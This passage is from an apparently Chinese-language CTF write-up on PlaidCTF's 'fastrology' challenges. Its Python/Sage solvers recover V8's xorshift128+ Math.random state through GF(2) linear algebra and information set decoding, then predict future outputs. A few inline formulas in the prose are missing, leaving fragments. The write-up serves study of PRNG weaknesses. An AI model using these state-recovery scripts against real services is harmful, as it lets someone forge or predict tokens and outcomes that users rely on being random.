print(A.dimensions(), len(b))
sol = A.solve_right(b)
print(sol)


s0 = vector(R.gens()[:64])
s1 = vector(R.gens()[64:])
for i in range(len(numspred)):
    s0, s1 = xorshift128_next(s0, s1)
    ss0 = [int(f(*sol)) for f in s0]
    out = math.floor(u2fp(Bin(ss0).int >> 12) * 13)
    if i == startOffset + 192:
        print("=" * 40)
    if i == startOffset + 192 + 128:
        print("=" * 40)
    print(out, numspred[i], out == numspred[i])

不過 toxicpie 的解有個不同的技巧，就是先算出一個 array:

1
2
3
4
5
6
for i in range(13):
    print(fp2u(i / 13))

# output + [(1 << 52) - 1]
hint13 = [0, 346430740566961, 692861481133922, 1039292221700884, 1385722962267845, 1732153702834806, 2078584443401768,
          2425015183968728, 2771445924535690, 3117876665102651, 3464307405669612, 3810738146236574, 4157168886803535, (1 << 52) - 1]

然後假設輸出的 floor 數值是 n，那麼就比較 hint13[n] ^ hint13[n + 1] 的 top bits 有哪些相同的地方，bit 一樣的話我們就能確認一些 bits 了。這個方法能取得的 equations 數量比我的方法多，所以值得提。code 大概是這個概念:

1
2
3
4
5
6
7
8
9
10
for num in nums:
	step()
	if num == '?':
		continue
	common = bin(hint13[num] ^ hint13[num + 1])[2:].zfill(52).find('1')
	for i in range(common):
		if (hint13[num] >> (51 - i)) & 1:
			eq.append((se_state0[i], 1))
		else:
			eq.append((se_state0[i], 0))

*fastrology: waxing gibbous

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const { randomInt, createHash } = require('node:crypto');
const readline = require('node:readline').createInterface({
  input: process.stdin,
  output: process.stdout,
});

const warmup_len = randomInt(64);
for (let i = 0; i < warmup_len; i++) {
    Math.random();
}

const prefix_len = 250;
const alphabet = '♈♉♊♋♌♍♎♏♐♑♒♓⛎';

let backup = '';
for (let i = 0; i < prefix_len+128; i++) {
    let index = Math.floor(Math.random() * 12);
    backup += alphabet[index];
}

let output = '';
for (let i = 0; i < prefix_len+128; i++) {
    let index = Math.floor(Math.random() * alphabet.length);
    if (index === 12) {
        // OPHIUCHUS MUST BE CONCEALED
        output += backup[i];
    } else {
        output += alphabet[index];
    }
}

const prefix = output.substring(0, prefix_len);
const expected = output.substring(prefix_len);

console.log(prefix);
console.log(createHash('md5').update(expected, 'utf8').digest('hex'));

readline.question('❓️\n', guess => {
    readline.close();
    if (guess === expected) {
        console.log('✅');
        process.exit(42);
    } else {
        console.log('❌');
        process.exit(1);
    }
});

這題最主要的不同是當 index === 12 時輸出會被換掉，所以代表用原本方法得到的 equations 中有些 bits 是錯的，所以這就讓我想了 error decoding 的問題: 已知 且 的 hamming weight 很低，求 。其中 且 。

如果 是一些特殊的矩陣如 Reed Solomon Code 的 generator matrix 的話是有些更好的方法，不過對於一般的 linear code 來說最通用的解法就是 ISD (Information Set Decoding) 了。

實作之後確定在 warmup_len 已知的情況下確實能用 ISD 解 (equations 數量用 toxicpie 的方法大概可以拿到 500 條，而 error 很少超過 20 個)，平均大概 4~10 秒能解掉。然而要爆 warmup_len 的話上限要抓 64*10 秒，而這題 timeout 只有 15 秒，除非有個夠大的 cluster 可以讓我一次平行解 64 個可能的 ISD 不然我的作法解不了。

不過我還是有寫個平行的 solver，只要 timeout 夠的話是能解的，所以還是丟上來紀錄一下:

solve_gibbous.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from sage.all import *
from pwn import process, remote
from pwnlib.util.iters import mbruteforce
import hashlib
import string
from itertools import product
from tqdm import tqdm
from binteger import Bin
import struct
import random
from concurrent.futures import ProcessPoolExecutor, as_completed
from solve_gibbous_worker import solve


def solve_pow(io):
    io.recvuntil(b"starting with ")
    prefix = io.recvuntil(b" ", drop=True).decode()
    suffix = mbruteforce(
        lambda x: hashlib.sha256((prefix + x).encode()).hexdigest()[-6:] == "ffffff",
        alphabet=string.ascii_letters + string.digits,
        length=8,
        method="fixed",
    )
    print(hashlib.sha256((prefix + suffix).encode()).hexdigest())
    io.sendlineafter(b"ffffff.\n", (prefix + suffix).encode())


io = process(["python", "server.py"])
# solve_pow(io)
io.recvuntil(b"]\n")
io.sendline(b"waxing gibbous")

charset = "♈♉♊♋♌♍♎♏♐♑♒♓⛎"
for _ in range(50):
    io.recvuntil(b"/50\n")
    s = io.recvlineS().strip()
    h = io.recvlineS().strip()
    print(s, h)
    ranges = [(i, i + 4) for i in range(0, 64, 4)]
    for rg in ranges:
        print("try", rg)
        for pred in solve(s, rg, timeout=12):
            print(pred)
            if hashlib.md5(pred.encode()).hexdigest() == h:
                io.sendline(pred.encode())
                break
        else:
            continue
        break

io.interactive()

solve_gibbous_worker.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
from sage.all import *
from pwn import process, remote
from pwnlib.util.iters import mbruteforce
import hashlib
import string
from itertools import product
from tqdm import tqdm
from binteger import Bin
import struct
import random
from concurrent.futures import ProcessPoolExecutor, as_completed
from subprocess import Popen, PIPE, DEVNULL, TimeoutExpired
import time
import os
import sys
import signal
import ast

prefix_len = 250
charset = "♈♉♊♋♌♍♎♏♐♑♒♓⛎"


def u2fp(x):
    assert x.bit_length() <= (64 - 12)
    u_long_long_64 = x | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    return struct.unpack("d", float_64)[0] - 1


def fp2u(x):
    float_64 = struct.pack("d", x + 1)
    u_long_long_64 = struct.unpack("<Q", float_64)[0]
    return u_long_long_64 ^ 0x3FF0000000000000


def rol(x, n, sz=64):
    return vector(list(x[-(sz - n) :]) + [0] * n)


def ror(x, n, sz=64):
    return vector([0] * n + list(x[: sz - n]))


def xorshift_sym(state0, state1):
    s1 = state0[:]
    s0 = state1[:]
    state0 = s0
    s1 = s1 + rol(s1, 23)
    s1 = s1 + ror(s1, 17)
    s1 = s1 + s0
    s1 = s1 + ror(s0, 26)
    state1 = s1
    return state0, state1


def xorshift_vec(state0, state1):
    se_s1 = state0[::]
    se_s0 = state1[::]
    state0 = se_s0[::]
    for i in range(64 - 23):
        se_s1[i] += se_s1[i + 23]
    for i in range(64 - 17):
        se_s1[63 - i] += se_s1[63 - (i + 17)]
    for i in range(64 - 0):
        se_s1[i] += se_s0[i + 0]
    for i in range(64 - 26):
        se_s1[63 - i] += se_s0[63 - (i + 26)]
    state1 = se_s1[::]
    return state0, state1


def xorshift(state0, state1):
    mask = (1 << 64) - 1
    s1 = state0
    s0 = state1
    state0 = s0
    s1 ^= s1 << 23
    s1 &= mask
    s1 ^= s1 >> 17
    s1 ^= s0
    s1 ^= s0 >> 26
    state1 = s1
    return (state0, state1)


class V8XorShift128:
    kCacheSize = 64  # v8 cache size

    def __init__(self, s0, s1, xorshift, offset=0):
        self.s0 = s0
        self.s1 = s1
        self.xorshift = xorshift
        self.offset = offset
        if offset != 0:
            self.pool = ["?"] * (self.kCacheSize - offset)
        else:
            self.pool = []

    def take(self):
        if len(self.pool) == 0:
            self.refill()
        return self.pool.pop()

    def refill(self):
        for _ in range(self.kCacheSize):
            self.s0, self.s1 = self.xorshift(self.s0, self.s1)
            self.pool.append(self.s0)


def try_solve(A, b, max_tries=1000, threshold=20):
    # stupid ISD
    nr = A.nrows()
    nc = A.ncols()
    for _ in range(max_tries):
        idxs = random.sample(range(nr), nc)
        AA = A.matrix_from_rows(idxs)
        bb = vector([b[i] for i in idxs])
        try:
            sol = AA.solve_right(bb)
            err2 = A * sol - b
            if list(err2).count(1) <= threshold:
                print("done at", _, file=sys.stderr)
                return sol
        except Exception as e:
            pass


def solve(inp, start_offset=None, timeout=6):
    if not isinstance(start_offset, int):
        procs = []
        for i in range(*start_offset):
            p = Popen(
                [sys.executable, __file__, inp, str(i)],
                stdout=PIPE,
                stderr=DEVNULL,
                shell=False,
            )
            procs.append(p)
        start = time.time()
        while len(procs) > 0 and (time.time() - start) < timeout:
            done = []
            for p in procs:
                if p.poll() is None:
                    continue
                sol = p.stdout.read().decode().strip()
                yield sol
                done.append(p)
            for p in done:
                procs.remove(p)
            time.sleep(0.5)
        return
    signal.alarm(timeout)
    nums = [charset.index(c) for c in inp]
    print(len(nums), prefix_len, file=sys.stderr)
    tbl = {0: 0, 2: 1, 5: 3, 7: 4, 10: 6, 12: 7}
    hint13 = [
        0,
        346430740566961,
        692861481133922,
        1039292221700884,
        1385722962267845,
        1732153702834806,
        2078584443401768,
        2425015183968728,
        2771445924535690,
        3117876665102651,
        3464307405669612,
        3810738146236574,
        4157168886803535,
        (1 << 52) - 1,
    ]
    V = GF(2) ** 128
    s0 = list(V.gens()[:64])
    s1 = list(V.gens()[64:])
    rng = V8XorShift128(s0, s1, xorshift_vec)
    for _ in range(start_offset):
        rng.take()
    for i in range(prefix_len + 128):
        rng.take()
    eq = []
    for i in range(prefix_len):
        s0 = rng.take()
        if nums[i] == "?":
            continue
        # if nums[i] not in tbl:
        #     continue
        # bits = f"{tbl[nums[i]]:03b}"
        # eq.append(s0[0] - int(bits[0]))
        # eq.append(s0[1] - int(bits[1]))
        # eq.append(s0[2] - int(bits[2]))

        # from kent huang
        # this can collect more equations
        num = nums[i]
        common = bin(hint13[num] ^ hint13[num + 1])[2:].zfill(52).find("1")
        for j in range(common):
            if (hint13[num] >> (51 - j)) & 1:
                eq.append((s0[j], 1))
            else:
                eq.append((s0[j], 0))

    A = matrix([x for x, _ in eq])
    b = vector([y for _, y in eq])
    print(A.dimensions(), len(b), file=sys.stderr)
    C = codes.LinearCode(A.T)
    D = codes.decoders.LinearCodeInformationSetDecoder(C, 25)
    print(D.algorithm().time_estimate(), file=sys.stderr)
    sol = D.decode_to_message(b)
    # sol = A.solve_right(b)
    # sol = try_solve(A, b, 1000)
    # if sol is None:
    #     return
    # print("sol", sol, file=sys.stderr)
    err = A * sol - b
    print("err cnt", list(err).count(1), file=sys.stderr)

    s0 = Bin(sol[:64]).int
    s1 = Bin(sol[64:]).int
    rng = V8XorShift128(s0, s1, xorshift)
    for _ in range(start_offset):
        rng.take()
    backup = []
    for i in range(prefix_len + 128):
        index = math.floor(u2fp(rng.take() >> 12) * 12)
        backup.append(charset[index])
    output = []
    for i in range(prefix_len + 128):
        index = math.floor(u2fp(rng.take() >> 12) * 13)
        output.append(charset[index] if index != 12 else backup[i])
    yield "".join(output)[prefix_len:]


if __name__ == "__main__":
    inp = sys.argv[1]
    offset = ast.literal_eval(sys.argv[2]) if len(sys.argv) > 2 else (0, 64)
    for sol in solve(inp, offset):
        print(sol)

不過這題的真正解答是注意到它把所有 index 12 的都換成其他的字元，而 index 12 對應到的是 top 3 bits = 111，假設說會換成 index 7，而它對應到的一般情況下的 top 3 bits = 100。 (這可以參考我解 new moon 的那個 table)

可以發現當我們遇到 index 7 的字元時有兩個可能，就是它可能本來就是 index 7，不然就是從 index 12 替換過來的。然而兩個的共同點是它們的 top 1 bits = 1，所以就能拿到一條 equation。

因此只要拿同樣的那個 tbl 但是只取 bit 為 1 的 equations (因為 ??? & 111) 就能確保不會有 error，所以就能一樣解線性系統搞定這題。

隊友用的 table:

1
hint = {0: ("000", 3), 1:("00", 2), 2:("001", 3), 3:("0", 1), 4:("01", 2), 5:("011", 3), 7: ("100", 1), 8: ("10", 1), 9:("1", 1), 10: ("110", 2), 11: ("11", 2), 12: ("111", 3)}

或是可以參考另一篇 writeup: PlaidCTF 2023 Writeups - waxing gibbous，用的 table 基本上是一樣的

*fastrology: full moon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const { randomInt, createHash } = require('node:crypto');
const readline = require('node:readline').createInterface({
  input: process.stdin,
  output: process.stdout,
});

const warmup_len = randomInt(64);
for (let i = 0; i < warmup_len; i++) {
    Math.random();
}

const prefix_len = 600;
const alphabet = '☿♀♁♂♃♄♅♆♇';

let output = '';
for (let i = 0; i < prefix_len+128; i++) {
    let index = Math.floor(Math.random() * alphabet.length);
    let rand_max = Math.floor(Math.random() * 4);
    let distortion_len = Math.floor(i/125);
    for (let j = 0; j < distortion_len; j++) {
        index ^= Math.floor(Math.random() * rand_max);
    }
    index = Math.min(index, alphabet.length-1);
    output += alphabet[index];
}

const prefix = output.substring(0, prefix_len);
const expected = output.substring(prefix_len);

console.log(prefix);
console.log(createHash('md5').update(expected, 'utf8').digest('hex'));

readline.question('❓️\n', guess => {
    readline.close();
    if (guess === expected) {
        console.log('✅');
        process.exit(42);
    } else {
        console.log('❌');
        process.exit(1);
    }
});

這題我根本沒解，因為時間都花在 web 的 Subs 上面了 XD。不過還是可以記一下解法，就是它前 125 個輸出都不會被干擾，然後就再用 toxicpie xor 那招就能拿到足夠的 equations 解開了。

留個我自己賽後補血的 sage script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import struct, math, random
from binteger import Bin


def u2fp(x):
    assert x.bit_length() <= (64 - 12)
    u_long_long_64 = x | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    return struct.unpack("d", float_64)[0] - 1


def fp2u(x):
    float_64 = struct.pack("d", x + 1)
    u_long_long_64 = struct.unpack("<Q", float_64)[0]
    return u_long_long_64 ^^ 0x3FF0000000000000


charset = "☿♀♁♂♃♄♅♆♇"
# fmt: off
ssss = '♃♁♄☿♂♄♂♇♀♅♄♀♃☿☿♄♀♅♂☿♇♂♇♀☿☿♆♅♂♃☿♀♃♂♀♁♃♃♁♅♂☿☿♅♃♁♆♂♄♀♀♂♆♃♇☿♃♂♃☿♃♁♀♅♁♂♆♇♆☿♆♄♇♅♁♁♄☿♁♇♄♁♇♅♂☿♆☿♂♁♁♁♂♀♀♀♀♅♆♅☿♇☿♆♃♅♆♃♁☿♆☿♅♂♂♄♅♇☿♆♅♀♇♃♄☿♁♆♅♅♁♃♂♅♁♇♄♁♀☿♀♃♃♀♆♃♆♂♁♆♇♅♃♀☿♇♁♄♂♀♅♃♇♀♄♅♅♃♀♇☿♆♀♅♄♁♃♅♀♆♅♂♁♆♅♃♄♃☿♂♇♁♇♁♅♁♇☿♆♅☿♄♆♃♄♁♆♄♂♄♅♀♃♆♃☿♁♀♂♁♇♃♃♆☿♁♆♁♄♇♅♂♅☿♇♀♃♀♁♂♂♀☿☿☿♀♂♅♆♁♂♆♀♃☿♂♂♅♀☿♅♆♄♄♄♁♂♅♁♄♁♆♄♄☿♇♃♃♄♂☿♆♀♁♆♅♁♆♄♁♆♀♄♃♆♂♁☿♇♀♀♆♂♀♀♁♁♇♄♆♇♆♀♃♆♆♅♂♂♁♆☿♀♁♄♆♇☿♅♄♁♁♅♁♂♅♁♅♀♀♃♁♇♇☿♁♆♂♂♂♂♄♇♄♂♃♂♁☿♇♂♄♅♀♅♇♂♅♃♂♃♁♀♁♁♇♃♆♄♄♁♇♄♆♅♁♇♄♂♅♇♄♆♂♀♁♂♅♂♇♀♃♃♆☿♄♀♃☿♆♁♃♆☿☿♂♁♁☿☿☿♃♂♁♀♆☿♆♇♀♇☿☿♆♆☿♁♆♇♆♅♅♁♇♀♆☿♃♄♇♁♇♁♄♅♇♃♀♄♂♅♄♀♀♆♇♆♂♇♃♄♁♂♀♂♇♀♁☿♇♃♂♀♄♀♀♄♅☿♇♅♅♇♇♅♀♇♁☿♅♅♅☿♂♇♇♇♀♀♅♃♀♃☿♂♃♀♆♅♀♁♀☿♂♄♂♃♃♂♇♃♅♁♁♅♀♂♅♅♃♇♇♃♆☿♆♇♁☿♀♄♅♄♂♂♆♂♆♀♃♁♃♇♀♄♃♁♂♃♀♄♄♁♅♇♆♅♁♇♀♁♄♅☿♂♃♂☿♄♂♀♅♆♂♆♇♂♃♄♅'
ssss = '♃♄♄♅♅♃♇♀♇♃♄♆♄♂♅♄♄♆♁♂♂♇♁♂♁♃♆♆♄♀♁♃♄♃☿♂♁♅♇♅♁♂♆♅♂☿♃♅♄♂♅♇☿☿♄♂♀♇♆☿♂♂♇♃♇♄♅♂♁♀♅♇♄♄♄♁♀♆♁♆♆♅♇♇♇☿♃♁♇♅♀♄♀♁♂♆♄♁♂♀♆♄♂☿♁♄♃♂♂♅♄♇♃♃♃☿♂♁☿☿♁♁♂♁♇♄♁♆♄♆♅♂♀♇♇♃☿♀♁♇♇♂♁♅♁♀☿♂♀♂♅♂♄♂♂♄♅♄♂♆♀♀♇☿♆♃♀♇♆♆♇♃♃♁♅♆♅♄♅♃♁♅♇♂☿♂♅♇♄♂♆♇☿♅♆♄♁♂☿☿♄♄♀♀♇♅♃♇♆♇☿♆♁♆♃♂♀♂♅♄♁♀♁♂♆♅♀♆♄♃♆♅♀♇♂♁♂♄♃♀♅☿♄♀♄♆♄♀♂♀♃♆♁♂♀☿♃♇♃♇♇♂♄♄♅☿♅♃♇♅♀♇♆☿♅♀♃♆♀♆♇♁♁♄♆♇♇☿♄♅♇♁♄♅♂♁♁♂♇♅♇♁♃♁♇☿♅♁♅☿♃♀♇♁♀☿♀♀♃♀♅♅♀☿♁♃♀♄♅☿♂♁♆♇♀♀♆♁♂♀♆♁♁♄♆♄♄♃♂♃♀♁♂♅♄☿♆♆♂♃☿♄♅♄♇♀♃☿♁♆♅♄♆♀♀♇♀♀♇♄♄♇♅♂♃♃♄♆♁♃♇♇♁☿♁♁♃♂♂☿♁♄♁♆♂☿♅♇♅♀♅♀♇♃♀♅♆☿♃♄♆♄♁♆☿♁♀♇♂♀♄♀♂☿♅♂♄♁♆♀♁♀♆♆♇♅♇☿♃♅♅♄☿♁☿☿♂♀♇♁♆♁☿♁♃♃♆♄☿♄♃♁♁♄♄♁♄♆♇♁♂♃☿♂♃♅♇♇♆♁☿♅♁♆♀♄♆♅♄♅♆♀♃♆♇♁♂♄♃♄♆♆♆♅♅♆☿☿♁♃☿♀♃♃☿♁♇♂♄♅♄♁♄♆♃♆♁♇☿♂♄♀♁♅♇☿♃♆♃♅♇♆♇♄♄♅♄♆♀♁♀♅♃♄☿☿♅♄♃♀☿☿♄♁♃♃♆♄♅♂♀♇♂☿♃♅♀♁♂♅♅♀♅♆♃♀♀♃♁♃'
nums = [charset.index(c) for c in ssss]
# fmt: on
prefix_len = 600
nums = nums[:125]
startOffset = 13


def rol(x, n, sz=64):
    return vector(list(x[-(sz - n) :]) + [0] * n)


def ror(x, n, sz=64):
    return vector([0] * n + list(x[: sz - n]))


def xorshift_sym(state0, state1):
    s1 = state0[:]
    s0 = state1[:]
    state0 = s0
    s1 = s1 + rol(s1, 23)
    s1 = s1 + ror(s1, 17)
    s1 = s1 + s0
    s1 = s1 + ror(s0, 26)
    state1 = s1
    return state0, state1


def xorshift_vec(state0, state1):
    se_s1 = state0[::]
    se_s0 = state1[::]
    state0 = se_s0[::]
    for i in range(64 - 23):
        se_s1[i] += se_s1[i + 23]
    for i in range(64 - 17):
        se_s1[63 - i] += se_s1[63 - (i + 17)]
    for i in range(64 - 0):
        se_s1[i] += se_s0[i + 0]
    for i in range(64 - 26):
        se_s1[63 - i] += se_s0[63 - (i + 26)]
    state1 = se_s1[::]
    return state0, state1


def xorshift(state0, state1):
    mask = (1 << 64) - 1
    s1 = state0
    s0 = state1
    state0 = s0
    s1 ^^= s1 << 23
    s1 &= mask
    s1 ^^= s1 >> 17
    s1 ^^= s0
    s1 ^^= s0 >> 26
    state1 = s1
    return (state0, state1)


class V8XorShift128:
    kCacheSize = 64  # v8 cache size

    def __init__(self, s0, s1, xorshift, offset=0):
        self.s0 = s0
        self.s1 = s1
        self.xorshift = xorshift
        self.offset = offset
        if offset != 0:
            self.pool = ["?"] * (self.kCacheSize - offset)
        else:
            self.pool = []

    def take(self):
        if len(self.pool) == 0:
            self.refill()
        return self.pool.pop()

    def refill(self):
        for _ in range(self.kCacheSize):
            self.s0, self.s1 = self.xorshift(self.s0, self.s1)
            self.pool.append(self.s0)



hint9 = [fp2u(i/9) for i in range(9)] + [1<<52]
syms = [f"s0_{i}" for i in range(64)] + [f"s1_{i}" for i in range(64)]
V = GF(2) ^ 128
s0 = list(V.gens()[:64])
s1 = list(V.gens()[64:])
rng = V8XorShift128(s0, s1, xorshift_vec)
for _ in range(startOffset):
    rng.take()
eq = []
for i in range(len(nums)):
    s0 = rng.take()
    rng.take()
    if nums[i] == "?":
        continue

    num = nums[i]
    common = bin(hint9[num] ^^ hint9[num + 1] - 1)[2:].zfill(52).find('1')
    for i in range(common):
        if (hint9[num] >> (51 - i)) & 1:
            eq.append((s0[i], 1))
        else:
            eq.append((s0[i], 0))

A = matrix([x for x, _ in eq])
b = vector([y for _, y in eq])
print(A.dimensions(), len(b))
sol = A.solve_right(b)


s0 = Bin(sol[:64]).int
s1 = Bin(sol[64:]).int
rng = V8XorShift128(s0, s1, xorshift)
for _ in range(startOffset):
    rng.take()
output = []
for i in range(prefix_len + 128):
    index = math.floor(u2fp(rng.take() >> 12) * len(charset))
    rand_max = math.floor(u2fp(rng.take() >> 12) * 4)
    distortion_len = i // 125
    for j in range(distortion_len):
        index ^^= math.floor(u2fp(rng.take() >> 12) * rand_max)
    output.append(charset[min(index, len(charset) - 1)])
print("".join(output))
print(ssss)

另一篇 writeup 有提說就算是在 125 之後被干擾的地方也有辦法拿到一些 bits 的資訊。關鍵在於 rand_max 最高為 3，所以只會影響到 index 的 low 2 bits，所以只要 0-3 4-7 分組就能多拿到一些 bits。